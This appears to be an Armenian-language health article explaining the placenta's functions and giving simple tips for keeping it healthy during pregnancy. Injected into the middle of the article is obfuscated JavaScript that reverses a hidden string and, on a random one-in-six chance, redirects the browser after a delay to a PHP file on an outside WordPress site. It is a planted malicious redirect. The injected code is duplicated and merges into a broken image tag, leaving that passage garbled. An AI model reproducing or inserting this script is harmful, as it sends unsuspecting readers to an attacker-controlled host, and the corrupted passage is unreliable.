Ի՞նչ է ընկերքը և ինչպե՞ս պահպանել դրա առողջությունը

Հղիության ընթացքում ձեր մարմինը զարմանահրաշ փոփոխությունների է ենթարկվում՝ ստեղծելով բարենպաստ միջավայր երեխայի աճի և զարգացման համար: Նմանատիպ փոփոխություններից մեկն էլ ընկերքի ձևավորումն է:

Ընկերքն ապահովում է մոր և պտղի միջև կենսական նշանակություն ունեցող կապը: Հղիության ընթացքում այն բազմաթիվ կենսաբանական գործառույթներ է իրականացնում. սննդանյութեր և թթվածին է մատակարարում պտղին, ապահովում է պտղի նյութափոխանակության արգասիքների դուրսբերումը, ինչպես նաև արտադրում է մի շարք հորմոններ, որոնք չափազանց կարևոր դերակատարում ունեն առողջ հղիության պահպանման համար:

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock_723056275.jpg” alt=”” width=”436″ height=”436″ />

Ընկերքն ամբողջովին ձևավորվում է հղիության 18-20 շաբաթական ժամկետում և շարունակում է աճել ՝ հարմարվելով պտղի կարիքներին:

Ողջ հղիության ընթացքում ընկերքը կենսական նշանակություն ունի պտղի բնականոն աճի և զարգացման համար: Հետևաբար, ընկերքի առողջության պահպանումն առաջնային նշանակություն ունի: Հենց այդ պատճառով խորհուրդ է տրվում

  • Առողջ սնվել:
  • Հղիության ընթացքում պարբերաբար մարզումներ անել:
  • Զերծ մնալ սթրեսներից:
  • Խուսափել ծխելուց և ալկոհոլից:

Աղբյուր՝ flo.health